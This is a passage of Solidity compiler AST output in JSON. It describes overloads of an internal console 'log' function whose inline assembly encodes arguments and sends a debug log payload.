alue":{"arguments":[{"kind":"number","nativeSrc":"117709:4:22","nodeType":"YulLiteral","src":"117709:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"117703:5:22","nodeType":"YulIdentifier","src":"117703:5:22"},"nativeSrc":"117703:11:22","nodeType":"YulFunctionCall","src":"117703:11:22"},"variableNames":[{"name":"m0","nativeSrc":"117697:2:22","nodeType":"YulIdentifier","src":"117697:2:22"}]},{"nativeSrc":"117727:17:22","nodeType":"YulAssignment","src":"117727:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117739:4:22","nodeType":"YulLiteral","src":"117739:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"117733:5:22","nodeType":"YulIdentifier","src":"117733:5:22"},"nativeSrc":"117733:11:22","nodeType":"YulFunctionCall","src":"117733:11:22"},"variableNames":[{"name":"m1","nativeSrc":"117727:2:22","nodeType":"YulIdentifier","src":"117727:2:22"}]},{"nativeSrc":"117757:17:22","nodeType":"YulAssignment","src":"117757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117769:4:22","nodeType":"YulLiteral","src":"117769:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"117763:5:22","nodeType":"YulIdentifier","src":"117763:5:22"},"nativeSrc":"117763:11:22","nodeType":"YulFunctionCall","src":"117763:11:22"},"variableNames":[{"name":"m2","nativeSrc":"117757:2:22","nodeType":"YulIdentifier","src":"117757:2:22"}]},{"nativeSrc":"117787:17:22","nodeType":"YulAssignment","src":"117787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117799:4:22","nodeType":"YulLiteral","src":"117799:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"117793:5:22","nodeType":"YulIdentifier","src":"117793:5:22"},"nativeSrc":"117793:11:22","nodeType":"YulFunctionCall","src":"117793:11:22"},"variableNames":[{"name":"m3","nativeSrc":"117787:2:22","nodeType":"YulIdentifier","src":"117787:2:22"}]},{"nativeSrc":"117817:17:22","nodeType":"YulAssignment","src":"117817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117829:4:22","nodeType":"YulLiteral","src":"117829:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"117823:5:22","nodeType":"YulIdentifier","src":"117823:5:22"},"nativeSrc":"117823:11:22","nodeType":"YulFunctionCall","src":"117823:11:22"},"variableNames":[{"name":"m4","nativeSrc":"117817:2:22","nodeType":"YulIdentifier","src":"117817:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117918:4:22","nodeType":"YulLiteral","src":"117918:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"117924:10:22","nodeType":"YulLiteral","src":"117924:10:22","type":"","value":"0xa1bcc9b3"}],"functionName":{"name":"mstore","nativeSrc":"117911:6:22","nodeType":"YulIdentifier","src":"117911:6:22"},"nativeSrc":"117911:24:22","nodeType":"YulFunctionCall","src":"117911:24:22"},"nativeSrc":"117911:24:22","nodeType":"YulExpressionStatement","src":"117911:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117955:4:22","nodeType":"YulLiteral","src":"117955:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"117961:2:22","nodeType":"YulIdentifier","src":"117961:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117948:6:22","nodeType":"YulIdentifier","src":"117948:6:22"},"nativeSrc":"117948:16:22","nodeType":"YulFunctionCall","src":"117948:16:22"},"nativeSrc":"117948:16:22","nodeType":"YulExpressionStatement","src":"117948:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117984:4:22","nodeType":"YulLiteral","src":"117984:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"117990:2:22","nodeType":"YulIdentifier","src":"117990:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117977:6:22","nodeType":"YulIdentifier","src":"117977:6:22"},"nativeSrc":"117977:16:22","nodeType":"YulFunctionCall","src":"117977:16:22"},"nativeSrc":"117977:16:22","nodeType":"YulExpressionStatement","src":"117977:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118013:4:22","nodeType":"YulLiteral","src":"118013:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"118019:2:22","nodeType":"YulIdentifier","src":"118019:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118006:6:22","nodeType":"YulIdentifier","src":"118006:6:22"},"nativeSrc":"118006:16:22","nodeType":"YulFunctionCall","src":"118006:16:22"},"nativeSrc":"118006:16:22","nodeType":"YulExpressionStatement","src":"118006:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118042:4:22","nodeType":"YulLiteral","src":"118042:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"118048:2:22","nodeType":"YulIdentifier","src":"118048:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118035:6:22","nodeType":"YulIdentifier","src":"118035:6:22"},"nativeSrc":"118035:16:22","nodeType":"YulFunctionCall","src":"118035:16:22"},"nativeSrc":"118035:16:22","nodeType":"YulExpressionStatement","src":"118035:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37576,"isOffset":false,"isSlot":false,"src":"117697:2:22","valueSize":1},{"declaration":37579,"isOffset":false,"isSlot":false,"src":"117727:2:22","valueSize":1},{"declaration":37582,"isOffset":false,"isSlot":false,"src":"117757:2:22","valueSize":1},{"declaration":37585,"isOffset":false,"isSlot":false,"src":"117787:2:22","valueSize":1},{"declaration":37588,"isOffset":false,"isSlot":false,"src":"117817:2:22","valueSize":1},{"declaration":37566,"isOffset":false,"isSlot":false,"src":"117961:2:22","valueSize":1},{"declaration":37568,"isOffset":false,"isSlot":false,"src":"117990:2:22","valueSize":1},{"declaration":37570,"isOffset":false,"isSlot":false,"src":"118019:2:22","valueSize":1},{"declaration":37572,"isOffset":false,"isSlot":false,"src":"118048:2:22","valueSize":1}],"id":37590,"nodeType":"InlineAssembly","src":"117674:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37592,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"118086:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37593,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"118092:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37591,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"118070:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37594,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"118070:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37595,"nodeType":"ExpressionStatement","src":"118070:27:22"},{"AST":{"nativeSrc":"118116:156:22","nodeType":"YulBlock","src":"118116:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"118137:4:22","nodeType":"YulLiteral","src":"118137:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"118143:2:22","nodeType":"YulIdentifier","src":"118143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118130:6:22","nodeType":"YulIdentifier","src":"118130:6:22"},"nativeSrc":"118130:16:22","nodeType":"YulFunctionCall","src":"118130:16:22"},"nativeSrc":"118130:16:22","nodeType":"YulExpressionStatement","src":"118130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118166:4:22","nodeType":"YulLiteral","src":"118166:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"118172:2:22","nodeType":"YulIdentifier","src":"118172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118159:6:22","nodeType":"YulIdentifier","src":"118159:6:22"},"nativeSrc":"118159:16:22","nodeType":"YulFunctionCall","src":"118159:16:22"},"nativeSrc":"118159:16:22","nodeType":"YulExpressionStatement","src":"118159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118195:4:22","nodeType":"YulLiteral","src":"118195:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"118201:2:22","nodeType":"YulIdentifier","src":"118201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118188:6:22","nodeType":"YulIdentifier","src":"118188:6:22"},"nativeSrc":"118188:16:22","nodeType":"YulFunctionCall","src":"118188:16:22"},"nativeSrc":"118188:16:22","nodeType":"YulExpressionStatement","src":"118188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118224:4:22","nodeType":"YulLiteral","src":"118224:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"118230:2:22","nodeType":"YulIdentifier","src":"118230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118217:6:22","nodeType":"YulIdentifier","src":"118217:6:22"},"nativeSrc":"118217:16:22","nodeType":"YulFunctionCall","src":"118217:16:22"},"nativeSrc":"118217:16:22","nodeType":"YulExpressionStatement","src":"118217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118253:4:22","nodeType":"YulLiteral","src":"118253:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"118259:2:22","nodeType":"YulIdentifier","src":"118259:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118246:6:22","nodeType":"YulIdentifier","src":"118246:6:22"},"nativeSrc":"118246:16:22","nodeType":"YulFunctionCall","src":"118246:16:22"},"nativeSrc":"118246:16:22","nodeType":"YulExpressionStatement","src":"118246:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37576,"isOffset":false,"isSlot":false,"src":"118143:2:22","valueSize":1},{"declaration":37579,"isOffset":false,"isSlot":false,"src":"118172:2:22","valueSize":1},{"declaration":37582,"isOffset":false,"isSlot":false,"src":"118201:2:22","valueSize":1},{"declaration":37585,"isOffset":false,"isSlot":false,"src":"118230:2:22","valueSize":1},{"declaration":37588,"isOffset":false,"isSlot":false,"src":"118259:2:22","valueSize":1}],"id":37596,"nodeType":"InlineAssembly","src":"118107:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"117501:3:22","parameters":{"id":37573,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37566,"mutability":"mutable","name":"p0","nameLocation":"117513:2:22","nodeType":"VariableDeclaration","scope":37598,"src":"117505:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37565,"name":"address","nodeType":"ElementaryTypeName","src":"117505:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37568,"mutability":"mutable","name":"p1","nameLocation":"117525:2:22","nodeType":"VariableDeclaration","scope":37598,"src":"117517:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37567,"name":"uint256","nodeType":"ElementaryTypeName","src":"117517:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37570,"mutability":"mutable","name":"p2","nameLocation":"117537:2:22","nodeType":"VariableDeclaration","scope":37598,"src":"117529:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37569,"name":"address","nodeType":"ElementaryTypeName","src":"117529:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37572,"mutability":"mutable","name":"p3","nameLocation":"117546:2:22","nodeType":"VariableDeclaration","scope":37598,"src":"117541:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37571,"name":"bool","nodeType":"ElementaryTypeName","src":"117541:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"117504:45:22"},"returnParameters":{"id":37574,"nodeType":"ParameterList","parameters":[],"src":"117564:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37632,"nodeType":"FunctionDefinition","src":"118284:792:22","nodes":[],"body":{"id":37631,"nodeType":"Block","src":"118359:717:22","nodes":[],"statements":[{"assignments":[37610],"declarations":[{"constant":false,"id":37610,"mutability":"mutable","name":"m0","nameLocation":"118377:2:22","nodeType":"VariableDeclaration","scope":37631,"src":"118369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37609,"name":"bytes32","nodeType":"ElementaryTypeName","src":"118369:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37611,"nodeType":"VariableDeclarationStatement","src":"118369:10:22"},{"assignments":[37613],"declarations":[{"constant":false,"id":37613,"mutability":"mutable","name":"m1","nameLocation":"118397:2:22","nodeType":"VariableDeclaration","scope":37631,"src":"118389:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37612,"name":"bytes32","nodeType":"ElementaryTypeName","src":"118389:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37614,"nodeType":"VariableDeclarationStatement","src":"118389:10:22"},{"assignments":[37616],"declarations":[{"constant":false,"id":37616,"mutability":"mutable","name":"m2","nameLocation":"118417:2:22","nodeType":"VariableDeclaration","scope":37631,"src":"118409:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37615,"name":"bytes32","nodeType":"ElementaryTypeName","src":"118409:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37617,"nodeType":"VariableDeclarationStatement","src":"118409:10:22"},{"assignments":[37619],"declarations":[{"constant":false,"id":37619,"mutability":"mutable","name":"m3","nameLocation":"118437:2:22","nodeType":"VariableDeclaration","scope":37631,"src":"118429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37618,"name":"bytes32","nodeType":"ElementaryTypeName","src":"118429:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37620,"nodeType":"VariableDeclarationStatement","src":"118429:10:22"},{"assignments":[37622],"declarations":[{"constant":false,"id":37622,"mutability":"mutable","name":"m4","nameLocation":"118457:2:22","nodeType":"VariableDeclaration","scope":37631,"src":"118449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"118449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37623,"nodeType":"VariableDeclarationStatement","src":"118449:10:22"},{"AST":{"nativeSrc":"118478:381:22","nodeType":"YulBlock","src":"118478:381:22","statements":[{"nativeSrc":"118492:17:22","nodeType":"YulAssignment","src":"118492:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"118504:4:22","nodeType":"YulLiteral","src":"118504:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"118498:5:22","nodeType":"YulIdentifier","src":"118498:5:22"},"nativeSrc":"118498:11:22","nodeType":"YulFunctionCall","src":"118498:11:22"},"variableNames":[{"name":"m0","nativeSrc":"118492:2:22","nodeType":"YulIdentifier","src":"118492:2:22"}]},{"nativeSrc":"118522:17:22","nodeType":"YulAssignment","src":"118522:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"118534:4:22","nodeType":"YulLiteral","src":"118534:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"118528:5:22","nodeType":"YulIdentifier","src":"118528:5:22"},"nativeSrc":"118528:11:22","nodeType":"YulFunctionCall","src":"118528:11:22"},"variableNames":[{"name":"m1","nativeSrc":"118522:2:22","nodeType":"YulIdentifier","src":"118522:2:22"}]},{"nativeSrc":"118552:17:22","nodeType":"YulAssignment","src":"118552:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"118564:4:22","nodeType":"YulLiteral","src":"118564:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"118558:5:22","nodeType":"YulIdentifier","src":"118558:5:22"},"nativeSrc":"118558:11:22","nodeType":"YulFunctionCall","src":"118558:11:22"},"variableNames":[{"name":"m2","nativeSrc":"118552:2:22","nodeType":"YulIdentifier","src":"118552:2:22"}]},{"nativeSrc":"118582:17:22","nodeType":"YulAssignment","src":"118582:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"118594:4:22","nodeType":"YulLiteral","src":"118594:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"118588:5:22","nodeType":"YulIdentifier","src":"118588:5:22"},"nativeSrc":"118588:11:22","nodeType":"YulFunctionCall","src":"118588:11:22"},"variableNames":[{"name":"m3","nativeSrc":"118582:2:22","nodeType":"YulIdentifier","src":"118582:2:22"}]},{"nativeSrc":"118612:17:22","nodeType":"YulAssignment","src":"118612:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"118624:4:22","nodeType":"YulLiteral","src":"118624:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"118618:5:22","nodeType":"YulIdentifier","src":"118618:5:22"},"nativeSrc":"118618:11:22","nodeType":"YulFunctionCall","src":"118618:11:22"},"variableNames":[{"name":"m4","nativeSrc":"118612:2:22","nodeType":"YulIdentifier","src":"118612:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118716:4:22","nodeType":"YulLiteral","src":"118716:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"118722:10:22","nodeType":"YulLiteral","src":"118722:10:22","type":"","value":"0x100f650e"}],"functionName":{"name":"mstore","nativeSrc":"118709:6:22","nodeType":"YulIdentifier","src":"118709:6:22"},"nativeSrc":"118709:24:22","nodeType":"YulFunctionCall","src":"118709:24:22"},"nativeSrc":"118709:24:22","nodeType":"YulExpressionStatement","src":"118709:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118753:4:22","nodeType":"YulLiteral","src":"118753:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"118759:2:22","nodeType":"YulIdentifier","src":"118759:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118746:6:22","nodeType":"YulIdentifier","src":"118746:6:22"},"nativeSrc":"118746:16:22","nodeType":"YulFunctionCall","src":"118746:16:22"},"nativeSrc":"118746:16:22","nodeType":"YulExpressionStatement","src":"118746:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118782:4:22","nodeType":"YulLiteral","src":"118782:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"118788:2:22","nodeType":"YulIdentifier","src":"118788:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118775:6:22","nodeType":"YulIdentifier","src":"118775:6:22"},"nativeSrc":"118775:16:22","nodeType":"YulFunctionCall","src":"118775:16:22"},"nativeSrc":"118775:16:22","nodeType":"YulExpressionStatement","src":"118775:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118811:4:22","nodeType":"YulLiteral","src":"118811:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"118817:2:22","nodeType":"YulIdentifier","src":"118817:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118804:6:22","nodeType":"YulIdentifier","src":"118804:6:22"},"nativeSrc":"118804:16:22","nodeType":"YulFunctionCall","src":"118804:16:22"},"nativeSrc":"118804:16:22","nodeType":"YulExpressionStatement","src":"118804:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118840:4:22","nodeType":"YulLiteral","src":"118840:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"118846:2:22","nodeType":"YulIdentifier","src":"118846:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118833:6:22","nodeType":"YulIdentifier","src":"118833:6:22"},"nativeSrc":"118833:16:22","nodeType":"YulFunctionCall","src":"118833:16:22"},"nativeSrc":"118833:16:22","nodeType":"YulExpressionStatement","src":"118833:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37610,"isOffset":false,"isSlot":false,"src":"118492:2:22","valueSize":1},{"declaration":37613,"isOffset":false,"isSlot":false,"src":"118522:2:22","valueSize":1},{"declaration":37616,"isOffset":false,"isSlot":false,"src":"118552:2:22","valueSize":1},{"declaration":37619,"isOffset":false,"isSlot":false,"src":"118582:2:22","valueSize":1},{"declaration":37622,"isOffset":false,"isSlot":false,"src":"118612:2:22","valueSize":1},{"declaration":37600,"isOffset":false,"isSlot":false,"src":"118759:2:22","valueSize":1},{"declaration":37602,"isOffset":false,"isSlot":false,"src":"118788:2:22","valueSize":1},{"declaration":37604,"isOffset":false,"isSlot":false,"src":"118817:2:22","valueSize":1},{"declaration":37606,"isOffset":false,"isSlot":false,"src":"118846:2:22","valueSize":1}],"id":37624,"nodeType":"InlineAssembly","src":"118469:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37626,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"118884:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"118890:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37625,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"118868:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"118868:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37629,"nodeType":"ExpressionStatement","src":"118868:27:22"},{"AST":{"nativeSrc":"118914:156:22","nodeType":"YulBlock","src":"118914:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"118935:4:22","nodeType":"YulLiteral","src":"118935:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"118941:2:22","nodeType":"YulIdentifier","src":"118941:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118928:6:22","nodeType":"YulIdentifier","src":"118928:6:22"},"nativeSrc":"118928:16:22","nodeType":"YulFunctionCall","src":"118928:16:22"},"nativeSrc":"118928:16:22","nodeType":"YulExpressionStatement","src":"118928:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118964:4:22","nodeType":"YulLiteral","src":"118964:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"118970:2:22","nodeType":"YulIdentifier","src":"118970:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118957:6:22","nodeType":"YulIdentifier","src":"118957:6:22"},"nativeSrc":"118957:16:22","nodeType":"YulFunctionCall","src":"118957:16:22"},"nativeSrc":"118957:16:22","nodeType":"YulExpressionStatement","src":"118957:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"118993:4:22","nodeType":"YulLiteral","src":"118993:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"118999:2:22","nodeType":"YulIdentifier","src":"118999:2:22"}],"functionName":{"name":"mstore","nativeSrc":"118986:6:22","nodeType":"YulIdentifier","src":"118986:6:22"},"nativeSrc":"118986:16:22","nodeType":"YulFunctionCall","src":"118986:16:22"},"nativeSrc":"118986:16:22","nodeType":"YulExpressionStatement","src":"118986:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"119022:4:22","nodeType":"YulLiteral","src":"119022:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"119028:2:22","nodeType":"YulIdentifier","src":"119028:2:22"}],"functionName":{"name":"mstore","nativeSrc":"119015:6:22","nodeType":"YulIdentifier","src":"119015:6:22"},"nativeSrc":"119015:16:22","nodeType":"YulFunctionCall","src":"119015:16:22"},"nativeSrc":"119015:16:22","nodeType":"YulExpressionStatement","src":"119015:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"119051:4:22","nodeType":"YulLiteral","src":"119051:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"119057:2:22","nodeType":"YulIdentifier","src":"119057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"119044:6:22","nodeType":"YulIdentifier","src":"119044:6:22"},"nativeSrc":"119044:16:22","nodeType":"YulFunctionCall","src":"119044:16:22"},"nativeSrc":"119044:16:22","nodeType":"YulExpressionStatement","src":"119044:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37610,"isOffset":false,"isSlot":false,"src":"118941:2:22","valueSize":1},{"declaration":37613,"isOffset":false,"isSlot":false,"src":"118970:2:22","valueSize":1},{"declaration":37616,"isOffset":false,"isSlot":false,"src":"118999:2:22","valueSize":1},{"declaration":37619,"isOffset":false,"isSlot":false,"src":"119028:2:22","valueSize":1},{"declaration":37622,"isOffset":false,"isSlot":false,"src":"119057:2:22","valueSize":1}],"id":37630,"nodeType":"InlineAssembly","src":"118905:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"118293:3:22","parameters":{"id":37607,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37600,"mutability":"mutable","name":"p0","nameLocation":"118305:2:22","nodeType":"VariableDeclaration","scope":37632,"src":"118297:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37599,"name":"address","nodeType":"ElementaryTypeName","src":"118297:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37602,"mutability":"mutable","name":"p1","nameLocation":"118317:2:22","nodeType":"VariableDeclaration","scope":37632,"src":"118309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37601,"name":"uint256","nodeType":"ElementaryTypeName","src":"118309:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37604,"mutability":"mutable","name":"p2","nameLocation":"118329:2:22","nodeType":"VariableDeclaration","scope":37632,"src":"118321:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37603,"name":"address","nodeType":"ElementaryTypeName","src":"118321:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37606,"mutability":"mutable","name":"p3","nameLocation":"118341:2:22","nodeType":"VariableDeclaration","scope":37632,"src":"118333:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37605,"name":"uint256","nodeType":"ElementaryTypeName","src":"118333:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"118296:48:22"},"returnParameters":{"id":37608,"nodeType":"ParameterList","parameters":[],"src":"118359:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37672,"nodeType":"FunctionDefinition","src":"119082:1340:22","nodes":[],"body":{"id":37671,"nodeType":"Block","src":"119157:1265:22","nodes":[],"statements":[{"assignments":[37644],"declarations":[{"constant":false,"id":37644,"mutability":"mutable","name":"m0","nameLocation":"119175:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119167:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37645,"nodeType":"VariableDeclarationStatement","src":"119167:10:22"},{"assignments":[37647],"declarations":[{"constant":false,"id":37647,"mutability":"mutable","name":"m1","nameLocation":"119195:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37646,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119187:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37648,"nodeType":"VariableDeclarationStatement","src":"119187:10:22"},{"assignments":[37650],"declarations":[{"constant":false,"id":37650,"mutability":"mutable","name":"m2","nameLocation":"119215:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119207:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37649,"name":"byt